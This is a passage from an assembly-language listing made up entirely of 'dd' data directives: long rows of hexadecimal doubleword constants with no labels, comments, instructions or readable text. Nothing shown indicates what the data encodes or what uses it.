5F31A8E3h, 0D1DCE49Ah, 9FE8CEA2h dd 821D22C5h, 7BE23BDh, 75E11DE6h, 0A372F252h, 1259CBFCh dd 0ED545369h, 35490B72h, 0EE7E006Eh, 0EC48B016h, 74F10BCAh dd 0CC86235Eh, 0C827B11Bh, 54D9C22Ch, 0CA6885D2h, 9E4DF906h dd 0B0679D8Bh, 4C159C9Ah, 0C702E0ACh, 318E7C5Ch, 0CE47857h dd 548F46F0h, 2A39A31Ch, 0F7027CBFh, 825E799Bh, 2A067301h dd 7E42B0C1h, 0AF329710h, 0E8A4BD02h, 0DDFD8702h, 5DEE63C8h dd 0AAB7F5A4h, 0E82D5459h, 928EE965h, 0DEBD0784h, 0A243275Fh dd 890F8491h, 540DB2D5h, 405A6BFCh, 4A692238h, 6EB560AFh dd 17019C52h, 6C57F381h, 0E82A506Bh, 21C302B9h, 72FB808Ch dd 0A6B52784h, 81F25A3h, 15B700E4h, 0E6C1CF80h, 301176F7h dd 0BA0CF4E7h, 0DCBAB9E9h, 880C719Fh, 801DD55Ch, 76285889h dd 59FD3A7Ah, 2F7C6B23h, 1671D54Ah, 0D525A1ACh, 0E9127E9Eh dd 3DEF4E55h, 5CF26EAEh, 0B49AA614h, 0A257A381h, 25CFED61h dd 0A9EC3E07h, 0BB532B9h, 14F239E9h, 70807A71h, 0C1D05BD5h dd 2ADD651Eh, 0BB00A4F3h, 4217CD50h, 0C204814Ah, 0E832AF49h dd 0F488B1C4h, 32C5B801h, 593AFCFFh, 0EE1646C4h, 17BB3862h dd 0F010BBFEh, 310C6008h, 99691C17h, 0C12B6B51h, 0E960E4F3h dd 0B50116CBh, 55528A56h, 68583279h, 0DF7E54BDh, 1E759AFEh dd 0BB1E480h, 99B09369h, 2BC67035h, 4B760A11h, 0D05BB85Eh dd 706C0CBCh, 626624BCh, 874B1617h, 7F82A460h, 1EECBF80h dd 8C15785Ah, 0DD63D91Ah, 7492554Ch, 19582740h, 0E23AC580h dd 0EB619333h, 0A868AF08h, 65CF043Eh, 0BFCD3109h, 5CC023CAh dd 0A23F092Dh, 0B01DD09Dh, 71D50C94h, 0FF2856CBh, 414A7D98h dd 60279791h, 4B7FD527h, 0ABC212F8h, 5ACD7598h, 661EED3h dd 213BC4D0h, 378D32Bh, 0B012E95Ch, 0E845BACh, 0E216A9D7h dd 0EE42D6DFh, 4011E71Ch, 30361735h, 0E90C2786h, 264A4977h dd 0C0AC6EDh, 25FB3EE0h, 852554F0h, 0FB66CBC8h, 0E16301A7h dd 68026BC3h, 3E06D9C1h, 2C1E0602h, 796075E3h, 6B10869Dh dd 0A0482971h, 0A5028F05h, 35B98079h, 62483B34h, 425C1EB8h dd 850C21D8h, 545729Ch, 6EE9EF29h, 2757D1E4h, 0C5CD2B4Fh dd 0E1D2B738h, 728E34B9h, 0F62F4F96h, 68665083h, 4810D32Fh dd 6006E99Ah, 532C2C8Dh, 28055B5Ah, 13B252E8h, 5F02EA82h dd 377E2D5Ah, 5898C278h, 0FC4EDA2h, 0CAE910E7h, 3E939739h dd 3F3AE2E9h, 5B510FCCh, 0A24BE82Dh, 6FC557C5h, 47FA18B0h dd 64635C38h, 520DFE06h, 770B180Eh, 8A195960h, 8209476h dd 44FF5E79h, 0E917038Ch dd 500A4B33h, 0A8086CB5h, 65D9EE0Ch, 0F95B4EF8h, 0AD6BC594h dd 85C963FDh, 0F5D00BF5h, 862FD59Ch, 62A15EF1h, 0FAC2D021h dd 0A25ED625h, 5DA3C2ADh, 22F584Dh, 265930F3h, 4C7DCE31h dd 81297E2Dh, 4C13A5Ch, 0B04DB0F9h, 5B434230h, 4B1D59Ch dd 142FEA4Eh, 1D44042Fh, 1FBE2C24h, 939F8AD2h, 3B65280Eh dd 521F5178h, 409895Dh, 712287E6h, 22F104B2h, 8037FFC2h dd 575BF95Fh, 3BB0125Bh, 5708A2EFh, 109DF7CEh, 82D1E7B6h dd 21BFBF80h, 8F982D28h, 9EB86640h, 57F497Bh, 9AB8D7C2h dd 1D0BBD00h, 0F0BB0E6Ah, 606D7626h, 4EE06C0Ch, 1C32915Eh dd 0E2FCA090h, 0EE8AB85Eh, 9F612C7Ch, 0BD6B6AFCh, 0F98C9793h dd 0DD05679Fh, 974E6FB6h, 9F2DE5Ch, 0A0A6D3F5h, 2D024F87h dd 0A8AC2F8Dh, 94F4ABA5h, 0ECB05A50h, 0A3B174Fh, 827427EAh dd 0D0081DC4h, 87B08813h, 68570052h, 1C2846B3h, 0EF32C15Fh dd 0C2030604h, 5A8AE1B4h, 0A344973Fh, 141E4C34h, 361F9FB9h dd 4D1F78Ch, 81410149h, 0B37A93C9h, 0F45A2063h, 27605781h dd 0C0578252h, 24F28D95h, 27A8DFE5h, 8277A109h, 0D15A1394h dd 0BC5F1276h, 2FBC4EC7h, 9C3DAEB4h, 0B334A219h, 0E79D2FE9h dd 0A202466h, 815F004Ah, 0A91B9CF6h, 0C8FA5678h, 80ACF249h dd 132E0B31h, 1468164Eh, 1705F374h, 4D881B7Ch, 300940C5h dd 2C58C209h, 46B879Bh, 91FA6645h, 3AE5B3E5h, 153AF447h dd 4C665D0Bh, 0D1985C4Bh, 25BE6298h, 676C5AD1h, 0AED6C1F2h dd 8F4BA7A8h, 75CF1012h, 2424B2Ch, 47FE408Eh, 0AC014AC4h dd 0E9B9B667h, 28BC28AFh, 35736889h, 51EDD30h, 67305581h dd 813F40B7h, 2B9CE704h, 81FE433Ch, 83D6427Fh, 7150F31Bh dd 0A0CFE61h, 0BCD15D1h, 0E0D01DAFh, 660A2502h, 8BC16035h dd 0F58055EFh, 3CB22734h, 6A4A2295h, 805A0067h, 0CBE0EAEBh dd 62708EF6h, 581556B7h, 32499768h, 0C96D15DFh, 7E5E7814h dd 25BACFC0h, 18C3273Bh, 0FE615AC2h, 12FC3FDDh, 0E66268B1h dd 55580846h, 7D30406h, 80AB2946h, 1FD8E952h, 8425ADFh dd 400B337Ch, 683FC42h, 0FE9F4CCh, 2100C9A2h, 0D3F75EF3h dd 0B5204368h, 3308DC18h, 212F737Ah, 1EEBD0CBh, 657132FEh dd 1089E0D6h, 1215535Eh, 8DC4C50Fh, 880030F3h, 7BD56906h dd 386537E9h, 0A59741BAh, 4A2FF04Dh, 0E3A36B97h, 0B13AA32Fh dd 0C933DEAh, 1413FF12h, 0E91766F6h, 0EFA25360h, 122ACA69h dd 2C05A435h, 8C7D9F60h, 335D0243h, 0C74D2F7h, 704C08B9h dd 0BA955945h, 0FE075234h, 41944A2Bh, 712E298Dh, 4258A55Ah dd 4CD17531h, 3E90FF49h, 7D82CED4h, 0CD259C96h, 381CD7E6h dd 2A239AA1h, 9EEC4C9Dh, 2746A10Eh, 5E28A1DBh, 0F22CA497h dd 4966847Ah, 7D80AC0Bh, 0DCC280E0h, 1388FAB5h, 2A18EFE9h dd 0E0E90A67h, 0D9023A50h, 5C1AA66Eh, 976A2AB3h, 51DAF7DEh dd 204C2270h, 59B5D2A0h, 86CE9528h, 80201FB1h, 0C680EE0Dh dd 0B051668Fh, 1B7D4C31h, 5C18804Eh, 0C9F0E228h, 4B74B749h dd 163F64EBh, 6AAE1A95h, 82031862h, 2F62EFD6h, 0EAF668D5h dd 0A5FB7371h, 5D7C40Fh, 80EE011Dh, 193E5CFDh, 9B80A5Ah dd 6124050Ah, 38610BCh, 11685954h, 7BC92E48h, 0D90184B8h dd 5BDDC181h, 2199EF0Bh, 754FE1C8h, 40B46F8Ch, 2B78B75Dh dd 0E6DC4B97h, 0DC0D2F26h, 5200456Eh, 8F340ABAh, 6BF2814Dh dd 0EDF00D0Eh, 0C91A5B9Fh, 0DDF24485h, 79EC8231h, 62616854h dd 8E00884h, 1910BF24h, 121EDA4Ch, 0E13D666h, 7A02CF62h dd 61D770DBh, 2E64514Ah, 0F21C5A8Bh, 9808D623h, 1A522D26h dd 0E2E3524Ah, 9EE8156Bh, 7D825680h, 62CB60E0h, 0EA756C2Ch dd 0AC0D08h, 8006E5C0h, 95B4FFEDh, 0C530F95Bh, 3D251B38h dd 0B3288B66h, 2F61DCDCh, 2A7DF6FFh, 0C8502F9h, 0C24A2CE7h dd 0D85CF355h, 37E0CC45h, 53932C68h, 1EA0C2C9h, 0E9D81EDEh dd 6DE6979Ah, 9C99BB70h, 597F8482h, 8E9AD03Eh, 0DDB80564h dd 871DE553h, 2025E15Bh, 2D17DC77h, 0D8714009h, 0A9080B3Dh dd 892E7E41h, 0BEFE4696h, 0DD345F41h, 4107A660h, 0D3B06AF9h dd 5CF44026h, 0F6096A9Bh, 846C54E1h, 0EA996850h, 0F73E5FE1h dd 14957706h, 0C4C4487h, 2907EF96h, 3B4A60h, 39090850h dd 5BF6B84Bh, 831BB002h, 3D77EF9h, 20DA48B0h, 8B895A1Dh dd 0F1E84B5Bh, 1A670596h, 304E99ECh, 34BEBF7h, 6882BFA3h dd 33EC1D9Eh, 5E27E026h, 2F68A06Ch, 54D68D70h, 1E758803h dd 0C5960133h, 29254117h, 828A0F7h, 68800DA1h, 895F2D46h dd 60F6FA3Ch, 6803E64Fh, 0F0BB61ECh, 0C0270401h, 0B42E3165h dd 2F2DF188h, 83017C74h, 0E73D08EAh, 4FA4E410h, 0C1FB805h dd 0C102C1D7h, 8DAD2058h, 6CA0717h, 0F2573C16h, 389FD0F0h dd 319842A4h, 13EA2AC5h, 1FAB720Eh, 0C214DE29h, 75E90C08h dd 4BE29D7Eh, 2DAFF057h, 21BE2E10h, 853BE917h, 65C8EA5Fh dd 0CB4160h, 632907EFh, 5341C49h, 46BB6F93h, 89979A0Eh dd 0FBEC00D8h, 27E9535Fh, 246B2194h, 4135B62Fh, 0E32E6624h dd 8BB9686h, 0F8278713h, 497B99FBh, 0C559CDFEh, 0C8485028h dd 4ED69E4Eh, 6C20EE8Dh, 0B5654AAFh, 562DDCE0h, 0B780DB91h dd 30CEB1F6h, 0E25095F9h, 4F24665Ch, 4D04BAEh, 0B0C26552h dd 0FD51D088h, 585951E8h, 2CD24C95h, 980FCABEh, 208A6F9h dd 553EB100h, 5F0BA4BDh, 91F69D49h, 0EB548500h, 923EE974h dd 7FF1B5D8h, 0E1C4E958h, 8DDC92A5h, 7F608212h, 2557EF68h dd 0F1C538AAh, 7105EDA0h, 9062F48h, 28DAA0ABh, 89CBA6DCh dd 32E5CDh, 273842C7h, 663AB168h, 58955153h, 6A06067Ch dd 3EBB7447h, 0EB812E0Bh, 61E9426Dh, 960E27F4h, 12FA374Eh dd 0D7530BBEh, 0BCB109ABh, 3DDCF455h, 31412192h, 8016F0D2h dd 5AAEE908h, 0EE58AD1h, 2B4408C6h, 0D3075603h, 60CE6451h dd 0FB57566h, 0E90DB88Bh, 0BCE35F77h, 0E5BAE5A5h, 0B6387BD0h dd 0CE4B4D68h, 0C7D3477h, 0F9C0890Ah, 90E33AC7h, 0F7CA045Ah dd 96E7BBD3h, 0F10CF94Eh, 0A63EAD3Eh, 41B6643Ch, 0D10BBC10h dd 5620FE1Ch, 766F3199h, 6C880CC0h, 955D3F07h, 797D3F9Ah dd 0C9E84EF9h, 1BB1BD01h, 1E87305h, 0C9109538h, 0D4A05352h dd 0C3A5F778h, 863F9A23h, 10D668E9h, 0DA3D33A9h, 15E15930h dd 0C9B33D04h, 174446C2h, 0A64EDB68h, 82D29114h, 5734C6E9h dd 0FDC2EB93h, 0F4FE3B49h, 0C173CE80h, 881EBFEAh, 0C34F5AF3h dd 5B939DD2h, 0E9778CBEh, 0B3C2132Eh, 47D95C64h, 0C0A8F22Ah dd 2B542C9Bh, 7E9127E9h, 96E905D6h, 9BE91559h, 58014F5h dd 58CC198Ch, 21D46813h, 14DC41B8h, 0E8201D02h, 6ED12500h dd 63354A07h, 15F32E2Ah, 7F87043Ch, 0F19FF092h, 7E17D00Bh dd 57FE603Eh, 6B552C6Dh, 5340106h, 623128BFh, 8251053Bh dd 0E0AEAC16h, 5AF4C2A1h, 72069F1h, 334A6A5Eh, 4BD86841h dd 64077D76h, 0B9328456h, 0E09437Eh, 57802B6Bh, 0D476220h dd 810635FEh, 32549BCEh, 0BB2D20CEh, 79955EF0h, 0F8796243h dd 0EE3AF70Bh, 0BCE8F122h, 1220D50Bh, 4F1812ABh, 45348B25h dd 0CD56ADB6h, 0AF037F42h, 26150534h, 25785EE2h, 49595B3Eh dd 299D8C9h, 19B25850h, 0EA91CD68h, 1735BD36h, 48613BA1h dd 0F1181B07h, 3874037Ah, 0CD0C03B0h, 0C2161D1Ah, 3A2D18E5h dd 0C27186Bh, 13475EAh, 8021CCDh, 7C6C29E9h, 0A27750EBh dd 19511F9Ch, 0FA012879h dd 0B450665Bh, 10B22C01h, 0D01909C1h, 513D40E7h, 2B5C8853h dd 5B8A21B0h, 9308B38Dh, 0A186D9F9h, 0C5028161h, 5D2F4570h dd 4D5B6458h, 0BA4FD8EDh, 0C7296244h, 0E633680Eh, 48047925h dd 0BCE94427h, 24B1DBE0h, 27AEB24Fh, 705E4C58h, 57533FD1h dd 0B72E28E0h, 2D69266Ch, 0EE570E71h, 0BD20989Ah, 746C1E2Ah dd 8527B836h, 0D46DEA98h, 64EF7496h, 5F095841h, 0D686CB0h dd 155A2352h, 2F84451Dh, 756642FCh, 6AD08740h, 12B6FAF4h dd 8170562Fh, 0E0F5DCC5h, 0B6C53AF6h, 209639FEh, 6313E576h dd 67F957C8h, 0C95B0840h, 4A6C5C91h, 0DB9F2C7Eh, 0B8C0EE0h dd 0D7D1F312h, 9740008Ah, 6E598182h, 40C42F37h, 0C221C7D1h dd 0C12BDA61h, 2BDC9ED8h, 0E85E27A2h, 74C14ECBh, 0BE00C638h dd 6658704Fh, 0B0EE0444h, 2780EB4Ch, 4F0AE9F3h, 6BB38CF1h dd 0CB361F2Ch, 7712F205h, 84023484h, 75D30B9Eh, 0F7036901h dd 0CFC41DAh, 0ED68000Ah, 96D9914Bh, 0E9DBBA51h, 0F97CD341h dd 0A61A5849h, 2DECF290h, 1940A9F8h, 56F9975Dh, 4361024Bh dd 7EBD0030h, 614ADD0Eh, 0E67042A1h, 21D32668h, 7790C668h dd 2E0D64FAh, 0A45B34D5h, 4CEE4CD0h, 7B06CDDFh, 2E30940Ah dd 0A088474Ah, 0D2A79408h, 615651DFh, 3D010525h, 0F72189E2h dd 0E90E4FA1h, 4F91783Ch, 0FE530228h, 819D672Eh, 0F13F74CEh dd 0B9300488h, 9927C59Ch, 39C522F8h, 3B91BEC5h, 3930D001h dd 0BCCF4BDAh, 4047C98Dh, 5BB652EAh, 0C1ECF1EBh, 8D67F4F0h dd 32B4A2B5h, 645D09DBh, 0C5315BA5h, 4D949BFCh, 0CC977032h dd 834F691Bh, 0AAF63880h, 764A9F07h, 7BC71FBEh, 8B26026h dd 0F601BBD9h, 2E7C0DFh, 7DE4A82Bh, 28CF0401h, 0DAADE9F8h dd 6E77922Ah, 0C047A7Fh, 7FDF2883h, 72830648h, 76DE6062h dd 3C63E36h, 249470B7h, 69D01455h, 920BA9F0h, 0B07EA579h dd 27BBE93Dh, 0D0DE0112h, 6899668Bh, 2F9CB60Ch, 0AE42DEF6h dd 2D704B61h, 0B3530079h, 0E9DD881Bh, 7A8695E4h, 82F26731h dd 0BD00ECBAh, 6C6658E6h, 0C206EDC1h, 73E90706h, 0F92D05D6h dd 0A05569DFh, 95F42D46h, 0E4F94ED4h, 220BED88h, 1231EA13h dd 3080BCEh, 8517411Fh, 9666E3BBh, 4D353398h, 3250E4ECh dd 5B2B4C7Fh, 0E29CAAF5h, 71C2B503h, 23312D1Eh, 0C8F2172Dh dd 956491DCh, 119254C8h, 2A1E6BDh, 1FF568CBh, 8325401h dd 0E902140Ch, 8001760Dh, 906E4A10h, 0EC5A5448h, 1E1607E7h dd 196C687Eh, 0FF09A266h, 94F912Ch, 7C9D0512h, 77644CEFh dd 0C4ECBB06h, 0E2201F09h, 8EAA0F58h, 30CCE9E9h, 0C3FF86BAh dd 0EED14E10h, 0BD554C01h, 4A5917EAh, 0E5F0DDE1h, 88C9A34Dh dd 0C171A767h, 0EAE2C70Ch, 0CAA13A42h, 1D57812Bh, 8EC82E3Fh dd 654C0FEFh, 0B7A92C4Ah, 0F62D66D6h, 4159E910h, 0D20BDDC2h dd 47D80B9Eh, 10575B48h, 0B3428AF6h, 6A3309A4h, 0DEE9237Bh dd 4F89CFEFh, 1912A01Ah, 0D0050D7h, 0B37EA6C5h, 41BD2CB6h dd 6FF63108h, 4C611ADAh, 4178115Bh, 44E4DB6h, 3F6CA901h dd 5C836F97h, 16E019D5h, 4A765805h, 39484F1h, 0AB7963BBh dd 33090E8Fh, 0A258FB74h, 7A5681C2h, 17E9632Ch, 77010E45h dd 0CC84F9FAh, 33BB8F0h, 3A762EBAh, 16B0E54Ah, 0C1AF9AD1h dd 1A5D509Ah, 0C5815208h, 3C0C088Ch, 2ECB1209h, 389A5D5Bh dd 0AF260CD5h, 0C74B4AE9h, 0C2468958h, 2ADD6812h, 174DA58Ch dd 0B939EB05h, 0D51F9F8Fh, 1C0AF46Bh, 0B69DB32h, 0BF476844h dd 0A90D13CDh, 0C8F1E169h, 77E4052Fh, 205E5A80h, 360B65D0h dd 550A64FFh, 0BE33B58Eh, 4BFDB013h, 0BC6BB141h, 0B0E9E005h dd 0D6E7C063h, 6A3BB53h, 85375F2Fh, 8CCE5A20h, 0BCA54F27h dd 19E3AFD9h, 7BEEB8A0h, 6071AB25h, 0EC1EE24Eh, 592D3F01h dd 3521478Eh, 0D28F97C2h, 0CF891DE8h, 0DD7CE916h, 0AC817229h dd 60802BABh, 0B8DCEEE9h, 0D2315E0Bh, 92FD80E6h, 0BCC497FDh dd 2143B196h, 1165F9C1h, 6A351283h, 0BADD3FFFh, 5C25C7F2h dd 0A389AADEh, 9DEECCh, 0F61284B8h, 384FBA55h, 0FC210F2Dh dd 185F2559h, 637455Bh, 0F7874CF1h, 0E580064Eh, 7609C301h dd 5124E90Bh, 0AF586476h, 62EAAA12h, 0ED693AEh, 5AB75E27h dd 27B1EED7h, 23D12316h, 76EC1C2h, 0BC416443h, 7A1F4E26h dd 0E9A17897h, 0AD36276Fh, 9FF93F9Ah, 586427h, 37B7BB00h dd 15682EDAh, 5318B50Fh, 43587523h, 0E6E70307h, 7B135B18h dd 0E00C01F6h, 29684F0Bh, 4C372A6Fh, 321B0AB1h, 1425D220h dd 0F819E251h, 8174505h, 11068247h, 5D442902h, 0B50EC4D1h dd 585EA439h, 0EEBE52EFh, 0C460CC2Dh, 8FA982E3h, 2AE6555h dd 6F6B6852h, 0AB827971h, 40312615h, 5D1195C8h, 14E9F2Bh dd 6F685F44h, 5B54D03h, 0EBD8832Bh, 0C8E501CAh, 0E5407516h dd 0CC0A8EBAh, 0CA81035Bh, 3E8217Fh, 44AF0C04h, 389C14A8h dd 0D1590576h, 0C2D0F77Bh, 0C775D73Ah, 57748732h, 0F3C33F40h dd 41D2273Bh, 480740C1h, 5716A613h, 0DDAC46B5h, 0DEEE90Ch dd 0BA77B1AEh, 7E07D44Bh, 0C8013704h, 0F6AB753h, 0F5EBB99Dh dd 0BE0331F0h, 3BD437B0h, 8F82801h, 0F46EBFC2h, 30E95209h dd 0EBEDD423h, 11043D5Eh, 1BC17C0Ah, 0A8045896h, 5BACD875h dd 2FE91255h, 4F4F4FBh, 0E56A8B41h, 6F4ACDC3h, 0DAEDB104h dd 5701DFE2h, 5D367868h, 871CF84Eh, 4AEF85C0h, 0BF483B33h dd 882ACFAh, 625FDC02h, 8B4009FAh, 7C91D8D7h, 909C89F2h dd 0CD73C74Fh, 58EA760Bh, 367E7C1h, 0C1CE0506h, 102F26D0h dd 48520C80h, 5351144Bh, 94A9683Eh, 13C420B5h, 66531644h dd 0C71015BDh, 0E3462E7Bh, 1350C403h, 0F7F6B017h, 7C4C345Fh dd 0AD72C4DCh, 22D69EFBh, 0F0D82E0h, 4AC40A32h, 98574344h dd 45178CD7h, 8DA95D77h, 0DEA5EF02h, 625FA10Bh, 0D286FFDAh dd 240BB647h, 41BB06Fh, 0CCBEC554h, 704E9E8Ah, 0A8846FE2h dd 0E25390CDh, 50265657h, 9B00540Ch, 0E93B122Ch, 421D4EC5h dd 3F4745F2h, 56C7C5E0h, 58F05417h, 84033EDh, 0E30830E9h dd 199C655h, 8672C528h, 4F042501h, 968CE92Eh, 1459943Eh dd 0EC4FC5ECh, 0FEF75E49h, 0C1B58C5Ah, 9CF3E409h, 6C1E80DAh dd 4A7E282Dh, 177B94Eh, 64A33C2Fh, 6E7C06E9h, 16085E24h dd 0E5CCBB9Ch, 0B56B4A56h, 78666501h, 63D1B241h, 324C74C5h dd 0BD26CC88h, 0A818285Fh, 5914E818h, 0C18F482Ch, 5300043Ah dd 0C3FE7BB3h, 0B5065166h, 0A88BE934h, 915D4B52h, 221652Eh dd 0FB845F09h, 7BCEBC7Dh, 27D0E856h, 0BCE6685Dh, 2DEE9FCEh dd 0BD18D120h, 0B5F06DF8h, 2ECA6AF5h, 913E267Ch, 0B00B69B3h dd 5708BC54h, 0BDB5C355h, 0B4BD8648h, 0E699EA09h, 25EC0D7h dd 5003EAC0h, 2C61B014h, 0CD181A99h, 905BFA29h, 91672F47h dd 0DB48EE51h, 0E0AF6626h, 8BC336B4h, 0F94ABAB8h, 0D84B497Bh dd 92B89000h, 0F4637043h, 1179280h, 2068565Ch, 317A3613h dd 0AFE7153Bh, 0A2274BC0h, 0E8890259h, 1C0835Dh, 1F5FF95Dh dd 710BACC6h, 43B33A8Fh, 0EB4EFF4Fh, 216AC95Ah, 0C791E9FDh dd 0ED9A2668h, 0C1886F10h, 222F4C9Fh, 0F097789Fh, 0BCFE20F2h dd 79F1801Ch, 9420BDFCh, 0D295E56Bh, 536C08h, 0C94763BAh dd 0EA48C15Ch, 4EA5164Ah, 26E071E5h, 7D8FB841h, 16714AD5h dd 0D342E675h, 263DD708h, 60570CAAh, 0B15B4917h, 5FE9C699h dd 57BEAD11h, 0A39BA3BBh, 8BBF1600h, 515DF00Fh, 1EC00BB9h dd 45D538D6h, 50A4A2h dd 45CE48C3h, 0BB7E8E9h, 0E045FED8h, 5E5068F1h, 0A08D993h dd 5A088B51h, 43C5FFF1h, 4F299BD1h, 5C9A1168h, 1F824E63h dd 555C147Dh, 0D233E8EFh, 0D6496980h, 0F332874Ah, 854B0646h dd 18F5D8BBh, 57C5C13Bh, 86F6D625h, 264FDB08h, 43AC259Ch dd 47F82124h, 0F7F53B5Eh, 42E90800h, 0B6A4A806h, 3C3F131Dh dd 5EA0031h, 2D3E4FDEh, 740583E2h, 0D02911B3h, 81373C4h dd 0C8A346ABh, 53EC9594h, 0A9B6B05Ah, 8527257Ah, 7B4E59A0h dd 0E0BD70D3h, 0B8E6C171h, 14C60169h, 0E9539D1Fh, 74823B89h dd 0E4AC5E5Ch, 95E90330h, 280A1A8Ah, 2BFDC2D3h, 3800FD0Dh dd 1BD93385h, 66CC6814h, 4D5D4A9h, 6F625BDCh, 0F36A6BAh dd 0A130449Dh, 33A4E951h, 0E1C458h, 0F7110C07h, 0CB814BDBh dd 9E600D0Bh, 488FC1Ah, 0BA83F17Dh, 0EB84150Ch, 5FF99D5Ah dd 75E3A43Dh, 5CD976AFh, 6BCE5995h, 0B03294D7h, 0F4C441D7h dd 3C3D209Eh, 147C2C6Ah, 6DCF9AB0h, 0B8695A7Eh, 20824805h dd 0DDF713AFh, 4A51014Dh, 3BCC28DFh, 0F37EDA89h, 84BDD6C8h dd 0CD0AA885h, 0FA9DE0A1h, 5AD95495h, 0EEEB820Ch, 929A902h dd 41F2892Bh, 225458F4h, 0BE4048FCh, 0BD3EE179h, 26AA8911h dd 5CFA296Bh, 0A034E389h, 21B0EB41h, 0F8307656h, 89099DCDh dd 85DACAFCh, 2AA3DEC7h, 19122F0Ch, 154AE782h, 520E8ECCh dd 8004D6B7h, 0C2364775h, 0B0575A73h, 0BFD8AA21h, 0F72F0BE4h dd 128A60DAh, 200A2EDFh, 6C9F0370h, 0F2E10E24h, 6DDFEB16h dd 2B9835EAh, 0E9E0ACB8h, 0F8BAF3D3h, 78555777h, 6C862AE4h dd 2D037B70h, 0AF3F562h, 0B099BC28h, 0D0FED613h, 98F10521h dd 299FEC02h, 0C13158C2h, 1D220F9Ch, 6F17C302h, 0C6D70214h dd 3B7AC9BFh, 0EB813674h, 65E16DF4h, 188E3082h, 6BC06BD2h dd 0C0A7C4EAh, 6B6889BFh, 2D14E618h, 2BE8D5FBh, 3C2D093Fh dd 1F00F57Ch, 2E70A06h, 23B8DBF0h, 17F5072Eh, 5450A769h dd 85865EC3h, 1279E3ABh, 612EB29h, 0F76B33E1h, 9FBF1304h dd 520382A7h, 765374BAh, 0BCC7E00Fh, 4A65AB25h, 0E90801EAh dd 0CC7EFA69h, 1F12DBE8h, 8026D55h, 0DA6863C8h, 8ED51E6h dd 172ACD21h, 0C6FCF39Ch, 9AC7103Eh, 0FCEE2027h, 0E049AA90h dd 0A40B5EB0h, 0CBADFD1h, 0E877C855h, 0E9098536h, 5A69258Ah dd 203BDAAAh, 0E99C0B09h, 3FD6B8F3h, 863500BDh, 5550594Dh dd 18579868h, 0DC5D2349h, 623B207Ch, 27E50256h, 603F9325h dd 2E2C262Bh, 8A7C5803h, 9FDC631h, 0AE5130A3h, 0EC0CF396h dd 1E8014CFh, 56C0F1C9h, 1CECF406h, 0BA00E696h, 60ED4081h dd 95D14889h, 3E74C9E0h, 563F2E03h, 0C207A5BEh, 42DA7708h dd 4768590Bh, 6AE83048h, 429EB64Ch, 0D81ABA52h, 7E769F5Ch dd 0B0C65569h, 8205544Fh, 0DFA65857h, 0EE05654Ch, 0A963B25Eh dd 7C084124h, 30CBD01Ah, 88CDC1ADh, 3DD52768h, 2604DDD8h dd 0EDC17C39h, 90D748C2h, 1769B9FEh, 0E816B676h, 21E1007Bh dd 0E962D477h, 4F8561E2h, 0E104E4F3h, 7CECED22h, 7C5C2FCDh dd 9B368C79h, 1401C729h, 5073FB7Eh, 2E20F889h, 62BC4A41h dd 0CC7529F2h, 0F9874A2Fh, 1B8AD637h, 69ACBF00h, 0BD5577EEh dd 3461330Bh, 53B0B79h, 0EC4487BBh, 0FB80505Fh, 7DE20722h dd 2B555934h, 6CB6BF31h, 4F383846h, 0C2078F85h, 2CA52658h dd 22403CD3h, 0C60EA3F8h, 6562B960h, 0EFBF309h, 6360C1FFh dd 0D119E94Eh, 88CB89Ch, 74069A50h, 663C484Dh, 2630D40Ah dd 3E063BE0h, 9E4ED137h, 0DE139F1Dh, 5BDD2945h, 1EACA52h dd 80EBB7B8h, 0E9732073h, 5A7B994Dh, 47118FADh, 0B7488474h dd 9E5D5109h, 0B9E913FDh, 0C4D8AC9Fh, 85A23FA1h, 0E7ED2C78h dd 60D3A803h, 4FBD0C0Dh, 4048AA21h, 969D3D62h, 36010765h dd 12BF390Ah, 63336900h, 38262598h, 0AD9789F6h, 117408AFh dd 0BF196027h, 56603F59h, 4521BE9Ch, 0BA32CFE9h, 7D84CB32h dd 0ED520B04h, 2F6AB631h, 13BA09EDh, 1B2DC066h, 4054B27Eh dd 919668Ah, 9E90D4Fh, 74C091C2h, 75824A40h, 2E3A4DC9h dd 9D28FFA0h, 784B1758h, 8744D6C3h, 3658CE9Eh, 0B5786BFDh dd 8347775Bh, 26358369h, 0C86112C9h, 8C340159h, 3B160447h dd 7D25DC1Eh, 6F5D16B9h, 409711D8h, 0B81D66B7h, 350E1E2Dh dd 0D1FBE65h, 993D4D9Fh, 0A5085525h, 58B32360h, 0F8F49443h dd 53CB4AFAh, 0A8C0292Dh, 75026BBFh, 5F68D922h, 62C6D60Eh dd 9F0F9362h, 0F722A689h, 0CCE3BB6h, 1AAF89E9h, 0C7F5456h dd 546AD843h, 0F071DEB5h, 0B84D08E9h, 0F0F41EE3h, 0C95D7209h dd 913FE8ABh, 79B776C6h, 81AFD263h, 48A0C955h, 0F2605AF7h dd 0EA29597Ah, 0D621275Dh, 68962898h, 7A122B2Ah, 4ABF7A9Fh dd 392DB26Eh, 0B1BF3A80h, 28400ACAh, 3813F47Ch, 0E0F3C9B7h dd 0D493C3E8h, 9B94E40Dh, 420AF53Fh, 0DAE3F80Ah, 8441C6F8h dd 0E2A10D4Fh, 232DC83Eh, 0AE5B3977h, 0FB247DE9h, 581610D1h dd 0DA407E8Ah, 0C086130Ch, 4D72E8E8h, 5F5F2FF0h, 0BA7DB416h dd 20EB6CBDh, 0B805C243h, 1956F68h, 966904EFh, 85570983h dd 0D0BAECE2h, 7013BA56h, 2D27A5Ch, 0E037E2EAh, 82B0D629h dd 47C69A8Eh, 0D320D970h, 75898D2h, 7D5915B3h, 0A6A73F5Ah dd 0E4D70B1Eh, 21512530h, 273EABF9h, 0BF677C52h, 7EF76A19h dd 0C6F93E5Bh, 15208990h, 0EA4B01FCh, 3EA52091h, 0D4C1B72Ch dd 3E8FC193h, 8E3B74C1h, 0B98BC510h, 0D38A5128h, 0F92FCE41h dd 0B49810FCh, 0F1865803h, 848D6F6h, 17374D60h, 4444015Ah dd 8A1F12AEh, 0BD95D4C5h, 0C2E41CADh, 47EDFA4Ah, 8BDDD38Bh dd 4EC47F3Ch, 739B6815h, 0DEE9165Ch, 20AB5E84h, 0C837BE52h dd 3EE0694Ah, 1F172D68h, 80CFD77Eh, 0E9284472h, 0A2C95B93h dd 0A840D346h, 112F3154h, 3AB84850h, 0C114771Ch, 13D23473h dd 7F0FF1E9h, 8C7216D7h, 0F56685F6h, 7A47C9EEh, 5C8428B8h dd 0C487B839h, 4018AE64h, 0BB80E22Dh, 13657DE4h, 4EBC148h dd 1381DC95h, 73DE2A01h, 0C42F7B82h, 0DE98AA66h, 4BE3BFD8h dd 0E1DFF604h, 0A3BE83C7h, 0DCBA0357h, 13A4867h, 0F507330Ch dd 